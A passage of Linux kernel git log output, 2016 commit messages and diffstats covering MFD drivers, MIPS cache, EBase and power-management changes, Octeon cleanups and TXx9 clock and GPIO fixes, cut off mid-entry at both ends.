52b461b86a9f ("mfd: Add regmap cache support for wm8350") Signed-off-by: Uwe Kleine-König Acked-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 37778d83a744a1ebed1478b490601c40f8827607 Author: Steve Twiss Date: Mon Aug 8 14:16:11 2016 +0100 mfd: da9063: Update author information to remove incorrect e-mail addresses Remove incorrect e-mail addresses from the copyright header and MODULE_AUTHOR() macro. These e-mail addresses are no longer in use. The author names have not been changed, only the e-mail addresses have been deleted from the source files. Signed-off-by: Steve Twiss Signed-off-by: Lee Jones drivers/mfd/da9063-core.c | 7 ++++--- drivers/mfd/da9063-i2c.c | 2 +- drivers/mfd/da9063-irq.c | 2 +- include/linux/mfd/da9063/core.h | 4 ++-- include/linux/mfd/da9063/pdata.h | 4 ++-- include/linux/mfd/da9063/registers.h | 4 ++-- 6 files changed, 12 insertions(+), 11 deletions(-) commit b419c16b52cd304180b60fec8bf85f9a46900338 Author: Maxime Ripard Date: Wed Jul 20 16:11:37 2016 +0200 mfd: axp20x: Add AXP209 GPIO support Now that we have a GPIO driver for the AXP209, we can add it to our MFD. Signed-off-by: Maxime Ripard Acked-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/axp20x.c | 3 +++ 1 file changed, 3 insertions(+) commit 349290fc9e761aaef6d6882721189f668ec5ff49 Author: Peter Chen Date: Fri Jul 15 17:38:46 2016 +0800 mfd: qcom_rpm: Add missing of_node_put after calling of_parse_phandle of_node_put needs to be called when the device node which is got from of_parse_phandle has finished using. Signed-off-by: Peter Chen Reviewed-by: Bjorn Andersson Signed-off-by: Lee Jones drivers/mfd/qcom_rpm.c | 1 + 1 file changed, 1 insertion(+) commit b304746c2a71fb0c001b5db93ea677d32f95b95f Merge: c6a05a0 f618ed2 44051a6 8824ee8 cdd8da8 ddc085d 5d2fd5c 0494063 Author: Lee Jones Date: Tue Oct 4 15:47:01 2016 +0100 Merge branches 'ib-mfd-gpio-4.9', 'ib-mfd-gpio-regulator-4.9', 'ib-mfd-input-4.9', 'ib-mfd-regulator-4.9', 'ib-mfd-regulator-4.9.1', 'ib-mfd-regulator-rtc-4.9', 'ib-mfd-regulator-rtc-4.9-1' and 'ib-mfd-rtc-4.9' into ibs-for-mfd-merged commit cdd8da8cc66b3d205120560649e530978ccbc567 Author: Sylwester Nawrocki Date: Fri Sep 2 16:52:46 2016 +0100 mfd: arizona: Add gating of external MCLKn clocks This patch adds requesting of the clocks supplied on MCLK1, MCLK2 pins, gating of the 32k clock is added to the arizona_clk32k_enable(), arizona_clk32k_disable() helpers. It's a temporary change until the CODEC's clock controller gets exposed through the clk API and is helpful for board configurations where the MCLK clocks are not provided by always on oscillators. Signed-off-by: Sylwester Nawrocki Signed-off-by: Charles Keepax Signed-off-by: Lee Jones drivers/mfd/arizona-core.c | 30 ++++++++++++++++++++++++++++-- include/linux/mfd/arizona/core.h | 9 +++++++++ 2 files changed, 37 insertions(+), 2 deletions(-) commit d99a043a9a506290a0aac6746a8e412df3dafbfb Author: James Hogan Date: Thu Sep 1 17:30:13 2016 +0100 MIPS: uprobes: Flush icache via kernel address Update arch_uprobe_copy_ixol() to use the kmap_atomic() based kernel address to flush the icache with flush_icache_range(), rather than the user mapping. We have the kernel mapping available anyway and this avoids having to switch to using the new __flush_icache_user_range() for the sake of Enhanced Virtual Addressing (EVA) where flush_icache_range() will become ineffective on user addresses. Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14154/ Patchwork: https://patchwork.linux-mips.org/patch/14308/ Signed-off-by: Ralf Baechle arch/mips/kernel/uprobes.c | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) commit 8e3a9f4c3ab6dd0da5e8a89bd252518ff2ee5e3a Author: James Hogan Date: Thu Sep 1 17:30:12 2016 +0100 MIPS: cacheflush: Use __flush_icache_user_range() The cacheflush(2) system call uses flush_icache_range() to flush a range of usermode addresses from the icache, so change it to utilise the new __flush_icache_user_range() API to allow the more generic flush_icache_range() to be changed to work on kernel addresses only. Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14153/ Signed-off-by: Ralf Baechle arch/mips/mm/cache.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 01882b4d5eae2800c8e86a29d279020f87e5d4f3 Author: James Hogan Date: Thu Sep 1 17:30:11 2016 +0100 MIPS: c-r4k: Split user/kernel flush_icache_range() flush_icache_range() is used for both user addresses (i.e. cacheflush(2)), and kernel addresses (as the API documentation describes). This isn't really suitable however for Enhanced Virtual Addressing (EVA) where cache operations on usermode addresses must use a different instruction, and the protected cache ops assume user addresses, making flush_icache_range() ineffective on kernel addresses. Split out a new __flush_icache_user_range() and __local_flush_icache_user_range() for users which actually want to flush usermode addresses (note that flush_icache_user_range() already exists on various architectures but with different arguments). The implementation of flush_icache_range() will be changed in an upcoming commit to use unprotected normal cache ops so as to always work on the kernel mode address space. Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14152/ Signed-off-by: Ralf Baechle arch/mips/include/asm/cacheflush.h | 5 +++++ arch/mips/mm/c-octeon.c | 2 ++ arch/mips/mm/c-r3k.c | 2 ++ arch/mips/mm/c-r4k.c | 2 ++ arch/mips/mm/c-tx39.c | 3 +++ arch/mips/mm/cache.c | 4 ++++ 6 files changed, 18 insertions(+) commit d260d97e64c0d988eab3c420ab1497037d1af26f Author: James Hogan Date: Thu Sep 1 17:30:10 2016 +0100 MIPS: c-r4k: Drop bc_wback_inv() from icache flush The EVA conditional bc_wback_inv() at the end of flush_icache_range() to flush the modified code all the way back to RAM was apparently there for debug purposes and to accommodate the Malta EVA configuration which makes use of a physical alias, and didn't use the CP0_EBase.WG (Write Gate) bit to put the exception vector in the same physical alias where the exception vector code is written and is being flushed. Now that CP0_EBase.WG is used, lets drop this flush. Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14151/ Signed-off-by: Ralf Baechle arch/mips/mm/c-r4k.c | 11 ----------- 1 file changed, 11 deletions(-) commit 4b22c693e325af075d78069e25d6c17cb102c73e Author: Matt Redfearn Date: Thu Sep 1 17:30:09 2016 +0100 MIPS: traps: Ensure full EBase is written On CPUs which support the EBase WG (write gate) flag, the most significant bits of the exception base can be changed. Firmware running on a VP(E) using MIPS rproc may change EBase to point into the user segment where the firmware is located such that it can service interrupts. When control is transferred back to the kernel the EBase must be switched back into the kernel segment, such that the kernel's exception vectors are used. Similarly when vectored interrupts (vint) or vectored external interrupt controllers (veic) are enabled an exception vector is allocated from bootmem, and written to the EBase register. Due to the WG flag being clear, only bits 29:12 will be written. Asside from the rproc case above this is normally fine (as it will usually be a low allocation within the KSeg0 range, however when Enhanced Virtual Addressing (EVA) is enabled the allocation may be outside of the traditional KSeg0/KSeg1 address range, resulting in the wrong EBase being written. Correct both cases (configure_exception_vector() for the boot CPU, and per_cpu_trap_init() for secondary CPUs) to write EBase with the WG flag first if supported. On the Malta EVA configuration, KSeg0 is mapped to physical address 0, and memory is allocated from the KUSeg segment which is mapped to physical address 0x80000000, which physically aliases the RAM at 0. This only worked due to the exception base address aliasing the same underlying RAM that was written to & cache flushed, and due to flush_icache_range() going beyond the call of duty and flushing from the L2 cache too (due to the differing physical addresses). Signed-off-by: Matt Redfearn Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14150/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit c195e079e9dd00ffeb274965737280ca6d10ff70 Author: James Hogan Date: Thu Sep 1 17:30:08 2016 +0100 MIPS: traps: Convert ebase to KSEG0 When allocating boot memory for the exception vector when vectored interrupts (vint) or vectored external interrupt controllers (veic) are enabled, try to ensure that the virtual address resides in KSeg0 (and WARN should that not be possible). This will be helpful on MIPS64 cores supporting the CP0_EBase Write Gate (WG) bit once we start using the WG bit to write the full ebase into CP0_EBase, as we ideally need to avoid hitting the architecturally poorly defined exception base for Cache Errors when CP0_EBase is in XKPhys. An exception is made for Enhanced Virtual Addressing (EVA) kernels which allow segments to be rearranged and to become uncached during cache error handling, making it valid for ebase to be elsewhere. Signed-off-by: James Hogan Cc: Matt Redfearn Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14149/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 18022894eca1315851bfd0614f011fbc01e44d16 Author: James Hogan Date: Thu Sep 1 17:30:07 2016 +0100 MIPS: traps: 64bit kernels should read CP0_EBase 64bit When reading the CP0_EBase register containing the WG (write gate) bit, the ebase variable should be set to the full value of the register, i.e. on a 64-bit kernel the full 64-bit width of the register via read_cp0_ebase_64(), and on a 32-bit kernel the full 32-bit width including bits 31:30 which may be writeable. Signed-off-by: James Hogan Signed-off-by: Matt Redfearn Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14148/ Signed-off-by: Ralf Baechle arch/mips/kernel/traps.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 72bc8c75eaf72aa0e45652d09f1b80dd5346797e Author: Matt Redfearn Date: Wed Sep 7 10:45:20 2016 +0100 cpuidle: cpuidle-cps: Enable use with MIPSr6 CPUs. This patch enables the MIPS CPS driver for MIPSr6 CPUs. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Reviewed-by: Daniel Lezcano Cc: Rafael J. Wysocki Cc: linux-mips@linux-mips.org Cc: linux-pm@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14228/ Signed-off-by: Ralf Baechle drivers/cpuidle/Kconfig.mips | 2 +- drivers/cpuidle/cpuidle-cps.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 4b6401365a6ccc53de820209cb328507a2103d30 Author: Matt Redfearn Date: Wed Sep 7 10:45:19 2016 +0100 MIPS: SMP: Wrap call to mips_cpc_lock_other in mips_cm_lock_other All calls to mips_cpc_lock_other should be wrapped in mips_cm_lock_other. This only matters if the system has CM3 and is using cpu idle, since otherwise a) the CPC lock is sufficent for CM < 3 and b) any systems with CM > 3 have not been able to use cpu idle until now. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: Thomas Gleixner Cc: James Hogan Cc: Qais Yousef Patchwork: https://patchwork.linux-mips.org/patch/14227/ Signed-off-by: Ralf Baechle arch/mips/kernel/smp.c | 2 ++ 1 file changed, 2 insertions(+) commit 77451997237fa7e8ba4f5e2f0fcd99898f78ff9b Author: Matt Redfearn Date: Wed Sep 7 10:45:18 2016 +0100 MIPS: pm-cps: Support CM3 changes to Coherence Enable Register MIPS CM3 changed the management of coherence. Instead of a coherence control register with a bitmask of coherent domains, CM3 simply has a coherence enable register with a single bit to enable coherence of the local core. Support this by clearing and setting this single bit to disable / enable coherence. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Tony Wu Cc: Masahiro Yamada Cc: Nikolay Martynov Cc: Kees Cook Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14226/ Signed-off-by: Ralf Baechle arch/mips/include/asm/mips-cm.h | 1 + arch/mips/kernel/pm-cps.c | 31 ++++++++++++++++++------------- 2 files changed, 19 insertions(+), 13 deletions(-) commit 929d4f51e6b87900c9179eb62d6b43db6ce4930d Author: Matt Redfearn Date: Wed Sep 7 10:45:17 2016 +0100 MIPS: pm-cps: Add MIPSr6 CPU support This patch adds support for CPUs implementing the MIPSr6 ISA to the CPS power management code. Three changes are necessary: 1. In MIPSr6, coupled coherence is necessary when CPUS implement multiple Virtual Processors (VPs). 2. MIPSr6 virtual processors are more like real cores and cannot yield to other VPs on the same core, so drop the MT ASE yield instruction. 3. To halt a MIPSr6 VP, the CPC VP_STOP register is used rather than the MT ASE TCHalt CP0 register. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: Kees Cook Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14225/ Signed-off-by: Ralf Baechle arch/mips/include/asm/pm-cps.h | 6 ++++-- arch/mips/kernel/pm-cps.c | 22 ++++++++++++++++++---- 2 files changed, 22 insertions(+), 6 deletions(-) commit 15ea26cf510ce07c9397579ce869f7f3713eaae4 Author: Matt Redfearn Date: Wed Sep 7 10:45:16 2016 +0100 MIPS: pm-cps: Remove selection of sync types Instead of selecting an implementation or vendor specific sync type for the required sync operations, always use the architecturally mandated sync types which previous patches have put in place. The selection of special sync types is now redundant an can be removed. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: Kees Cook Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14223/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 19 ------------------- 1 file changed, 19 deletions(-) commit 90b084b1bc7ebde5379017c29ae617fcc4ccd557 Author: Matt Redfearn Date: Wed Sep 7 10:45:15 2016 +0100 MIPS: pm-cps: Use MIPS standard completion barrier SYNC type 0 is defined in the MIPS architecture as a completion barrier where all loads/stores in the pipeline before the sync instruction must complete before any loads/stores subsequent to the sync instruction. In places where we require loads / stores be globally completed, use the standard completion sync stype. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14224/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 85e540be7549c8eda90f056d30534be8f58777a7 Author: Matt Redfearn Date: Wed Sep 7 10:45:14 2016 +0100 MIPS: pm-cps: Use MIPS standard lightweight ordering barrier Since R2 of the MIPS architecture, SYNC(0x10) has been an optional but architecturally defined ordering barrier. If a CPU does not implement it, the arch specifies that it must fall back to SYNC(0). In places where we require that the instruction stream not be reordered, but do not require that loads / stores are gloablly completed, use the defined standard sync stype. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14221/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 6622ada354ba2c865c6ee1854e130c3abb430808 Author: Matt Redfearn Date: Wed Sep 7 10:45:13 2016 +0100 MIPS: Barrier: Add definitions of SYNC stype values Add the definitions of sync stype 0 (global completion barrier) and sync stype 0x10 (local ordering barrier) to barrier.h for use with the sync instruction. These types are defined by the MIPS Instruction Set since R2 of the architecture and are documented in document MD00087 table 6.5. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Arnd Bergmann Cc: Michael S. Tsirkin Cc: Peter Zijlstra Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14222/ Signed-off-by: Ralf Baechle arch/mips/include/asm/barrier.h | 96 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) commit f6b43d935482abe28e9206ad10e1d2aa3fc78996 Author: Matt Redfearn Date: Wed Sep 7 10:45:12 2016 +0100 MIPS: pm-cps: Update comments on barrier instructions This code makes large use of barriers, which had quite vague descriptions. Update the comments to make the choice of barrier and reason for it more clear. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: Kees Cook Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14220/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit b97d0b9099afcd5c569acaf9b0eb3f6e3b1b1f35 Author: Matt Redfearn Date: Wed Sep 7 10:45:11 2016 +0100 MIPS: pm-cps: Change FSB workaround to CPU blacklist The check for whether a CPU required the FSB flush workaround previously required every CPU not requiring it to be whitelisted. That approach does not scale well as new CPUs are introduced so change the default from a WARN and returning an error to just returning 0. Any CPUs requiring the workaround can then be added to the blacklist. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14218/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit d6219420480b75258b93583caa3885fb80d83313 Author: Matt Redfearn Date: Wed Sep 7 10:45:10 2016 +0100 MIPS: CPC: Avoid lock when MIPS CM >= 3 is present MIPS CM version 3 removed the CPC_CL_OTHER register and instead the CM_CL_OTHER register is used to redirect the CPC_OTHER region. As such, we should not write the unimplmented register and can avoid the spinlock as well. These lock functions should aleady be called within the context of a mips_cm_{lock,unlock}_other pair ensuring the correct CPC_OTHER region will be accessed. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14219/ Signed-off-by: Ralf Baechle arch/mips/kernel/mips-cpc.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 6b89d22e742aa3fbb1878c2e6684b0bfd591f7c8 Author: Matt Redfearn Date: Wed Sep 7 10:45:09 2016 +0100 MIPS: CPC: Convert bare 'unsigned' to 'unsigned int' Checkpatch complains about use of bare unsigned type. Signed-off-by: Matt Redfearn Reviewed-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14217/ Signed-off-by: Ralf Baechle arch/mips/kernel/mips-cpc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e6e5b7b6d0de7e2c25b45fc7a0c914ed6aa1d5e8 Author: Aaro Koskinen Date: Mon Sep 12 23:39:10 2016 +0300 MIPS: Octeon: Fix PCI interrupt routing on D-Link DSR-500N. Signed-off-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14250/ Signed-off-by: Ralf Baechle arch/mips/pci/pci-octeon.c | 2 ++ 1 file changed, 2 insertions(+) commit 6fcdc71735a5537931f3155e86540c47df18b9f3 Author: Aaro Koskinen Date: Mon Sep 12 23:39:09 2016 +0300 MIPS: Octeon: Add DTS for D-Link DSR-500N. Signed-off-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14249/ Signed-off-by: Ralf Baechle .../mips/boot/dts/cavium-octeon/dlink_dsr-500n.dts | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit 1491eaf970eeb5b1285d88592706217a1c60ed85 Author: Aaro Koskinen Date: Mon Sep 12 23:39:08 2016 +0300 MIPS: Octeon: Split dlink_dsr-1000n.dts to allow reuse with D-Link DSR-500N. Signed-off-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: devicetree@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14248/ Signed-off-by: Ralf Baechle .../boot/dts/cavium-octeon/dlink_dsr-1000n.dts | 45 +---------------- .../dts/cavium-octeon/dlink_dsr-500n-1000n.dtsi | 58 ++++++++++++++++++++++ 2 files changed, 59 insertions(+), 44 deletions(-) commit 6376d7baffb903bebebe32cc8c3610cfeade0849 Author: Aaro Koskinen Date: Fri Sep 2 23:44:21 2016 +0300 MIPS: Octeon: Delete unused cvmx-mdio.h Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14206/ Signed-off-by: Ralf Baechle .../cavium-octeon/executive/cvmx-helper-board.c | 2 - .../cavium-octeon/executive/cvmx-helper-rgmii.c | 2 - .../cavium-octeon/executive/cvmx-helper-sgmii.c | 1 - arch/mips/include/asm/octeon/cvmx-mdio.h | 506 --------------------- 4 files changed, 511 deletions(-) commit 0d19672e7807d7d365ca3b317f4b2d0db6847ca6 Author: Aaro Koskinen Date: Fri Sep 2 23:44:20 2016 +0300 MIPS: Octeon: Delete legacy code for PHY access PHY access through the board helper is impossible with the current drivers, so delete this code. Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14205/ Signed-off-by: Ralf Baechle .../cavium-octeon/executive/cvmx-helper-board.c | 108 +-------------------- 1 file changed, 2 insertions(+), 106 deletions(-) commit 0a1e192d660db17c532a6ab36eb2f77332d9cb1c Author: Aaro Koskinen Date: Fri Sep 2 23:44:19 2016 +0300 MIPS: Octeon: Delete unused cvmx_helper_board_link_set_phy. Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14204/ Signed-off-by: Ralf Baechle .../cavium-octeon/executive/cvmx-helper-board.c | 170 --------------------- arch/mips/include/asm/octeon/cvmx-helper-board.h | 20 --- 2 files changed, 190 deletions(-) commit 80c73b3509f29b363a7bb07203c310ee0ad8b625 Author: Aaro Koskinen Date: Fri Sep 2 23:44:18 2016 +0300 MIPS: Octeon: Delete unused cvmx_override_board_link_get. Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14203/ Signed-off-by: Ralf Baechle arch/mips/cavium-octeon/executive/cvmx-helper-board.c | 15 --------------- arch/mips/include/asm/octeon/cvmx-helper-board.h | 10 ---------- 2 files changed, 25 deletions(-) commit b93ebc1d5bd127a0c6161cf4bbb098374b1d8956 Author: Aaro Koskinen Date: Fri Sep 2 23:44:17 2016 +0300 MIPS: Octeon: Don't try to maintain link state in early init. Leave that to actual ethernet/phy drivers. Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14202/ Signed-off-by: Ralf Baechle arch/mips/cavium-octeon/executive/cvmx-helper-rgmii.c | 3 +-- arch/mips/cavium-octeon/executive/cvmx-helper-xaui.c | 2 -- arch/mips/cavium-octeon/executive/cvmx-helper.c | 10 ---------- 3 files changed, 1 insertion(+), 14 deletions(-) commit 23d1f8f589df4a537751f4d6accc5841ed6cb24e Author: Aaro Koskinen Date: Fri Sep 2 23:44:16 2016 +0300 MIPS: Octeon: Delete legacy hack for broken bootloaders Delete legacy hack for broken bootloaders. The warning has been in kernel for several years, and if there are still users using such bootloaders, they can fix the boot by supplying a proper DTB. Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14201/ Signed-off-by: Ralf Baechle .../cavium-octeon/executive/cvmx-helper-board.c | 42 ---------------------- 1 file changed, 42 deletions(-) commit 00ca0250125934c8e47f58f973ea2f8905cee017 Author: Masahiro Yamada Date: Mon Sep 19 03:04:35 2016 +0900 MIPS: BCM63xx: Let clk_disable() return immediately if clk is NULL In many of clk_disable() implementations, it is a no-op for a NULL pointer input, but this is one of the exceptions. Making it treewide consistent will allow clock consumers to call clk_disable() without NULL pointer check. Signed-off-by: Masahiro Yamada Acked-by: Florian Fainelli Cc: Stephen Boyd Cc: Michael Turquette Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: bcm-kernel-feedback-list@broadcom.com Cc: linux-arm-kernel@lists.infradead.org Patchwork: https://patchwork.linux-mips.org/patch/14264/ Signed-off-by: Ralf Baechle arch/mips/bcm63xx/clk.c | 3 +++ 1 file changed, 3 insertions(+) commit 5f92635462d64f09f4643e7c15c48ea7a1f7d2b7 Author: Keith Busch Date: Tue Sep 13 09:21:47 2016 -0600 MIPS: PCI: Reduce stack frame usage This patch removes creating a fake pci device in MIPS early config access and instead just uses the pci bus to get the same functionality. The struct pci_dev is too large to allocate on the stack, and was relying on compiler optimizations to remove its usage. Signed-off-by: Keith Busch Reviewed-by: Atsushi Nemoto Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14253/ Signed-off-by: Ralf Baechle arch/mips/txx9/generic/pci.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 44ce9a9ae977736fe7f470a7b1e506028375165a Author: Geert Uytterhoeven Date: Sun Sep 11 10:59:58 2016 +0200 MIPS: TXx9: Convert to Common Clock Framework Replace the custom minimal clock implementation for Toshiba TXx9 by a basic implementation using the Common Clock Framework. The only clocks that are provided are those needed by TXx9-specific drivers ("imbus" and "spi" (TX4938 only)), and their common parent clock "gbus". Other clocks can be added when needed. Signed-off-by: Geert Uytterhoeven Reviewed-by: Stephen Boyd Reviewed-by: Atsushi Nemoto Cc: Wim Van Sebroeck Cc: Guenter Roeck Cc: linux-clk@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-watchdog@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14239/ Signed-off-by: Ralf Baechle arch/mips/txx9/Kconfig | 2 +- arch/mips/txx9/generic/setup.c | 70 +++++++++++++++++++++--------------------- 2 files changed, 36 insertions(+), 36 deletions(-) commit 39a3b6355329397c30441b62c940bb9cecec0448 Author: Geert Uytterhoeven Date: Sun Sep 11 10:59:57 2016 +0200 WATCHDOG: txx9wdt: Add missing clock (un)prepare calls for CCF While the custom minimal TXx9 clock implementation doesn't need or use clock (un)prepare calls (they are dummies if !CONFIG_HAVE_CLK_PREPARE), they are mandatory when using the Common Clock Framework. Hence add them, to prepare for the advent of CCF. Signed-off-by: Geert Uytterhoeven Reviewed-by: Guenter Roeck Cc: Atsushi Nemoto Cc: Wim Van Sebroeck Cc: linux-clk@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-watchdog@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14238/ Signed-off-by: Ralf Baechle drivers/watchdog/txx9wdt.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5ac676ade1eac27fb311f0f2fb11eeac5089a66c Author: Geert Uytterhoeven Date: Sun Sep 11 10:48:33 2016 +0200 MIPS: TXx9: tx49xx: Move GPIO setup from .mem_setup() to .arch_init() txx9_gpio_init() calls gpiochip_add_data(), which fails with -ENOMEM as it is called too early in the boot process. This causes all subsequent GPIO operations to fail silently (before commit 54d77198fdfbc4f0 ("gpio: bail out silently on NULL descriptors") it printed the error message "gpiod_direction_output_raw: invalid GPIO" on RBTX49[23]7). Postpone all GPIO setup to .arch_init() time to fix this. Suggested-by: Atsushi Nemoto Signed-off-by: Geert Uytterhoeven Acked-by: Linus Walleij Cc: linux-mips@linux-mips.org Cc: linux-gpio@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14237/ Signed-off-by: Ralf Baechle arch/mips/txx9/generic/setup_tx4927.c | 1 - arch/mips/txx9/generic/setup_tx4938.c | 1 - arch/mips/txx9/rbtx4927/setup.c | 32 ++++++++++++++++++++++---------- arch/mips/txx9/rbtx4938/setup.c | 1 + 4 files changed, 23 insertions(+), 12 deletions(-) commit 561eca4990557b684605090fe6a2f50cecec34e1 Author: Geert Uytterhoeven Date: Thu Aug 18 14:57:47 2016 +0200 MIPS: TXx9: tx39xx: Move GPIO setup from .mem_setup() to .arch_init() txx9_gpio_init() calls gpiochip_add_data(), which fails with -ENOMEM as it is called too early in the boot process. This causes all subsequent GPIO operations to fail silently. Postpone all GPIO setup to .arch_init() time to fix this. Suggested-by: Atsushi Nemoto Signed-off-by: Geert Uytterhoeven Acked-by: Linus Walleij Cc: linux-mips@linux-mips.org Cc: linux-gpio@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/13967/ Signed-off-by: Ralf Baechle arch/mips/txx9/generic/setup_tx3927.c | 1 - arch/mips/txx9/jmr3927/setup.c | 11 +++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) commit db19462bb7acddd0a9881d75d960974982a454b8 Author: Masahiro Yamada Date: Thu Sep 15 00:31:01 2016 +0900 MIPS: Squash lines for simple wrapper functions Remove unneeded variables and assignments. Signed-off-by: Masahiro Yamada Cc: Boris Brezillon Cc: Brian Norris Cc: Michal Hocko Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14260/ Signed-off-by: Ralf Baechle arch/mips/include/asm/mach-generic/floppy.h | 6 +----- arch/mips/include/asm/pgalloc.h | 6 +----- arch/mips/mti-malta/malta-platform.c | 8 +------- arch/mips/pnx833x/common/platform.c | 8 ++------ 4 files changed, 5 insertions(+), 23 deletions(-) commit 60219c563c9b62aac237631a7c9aa092e8396138 Author: Yang Ling Date: Tue Sep 6 10:11:38 2016 +0800 MIPS: Add RTC support for Loongson1C board The patch adds RTC support for Loongson1C board, and 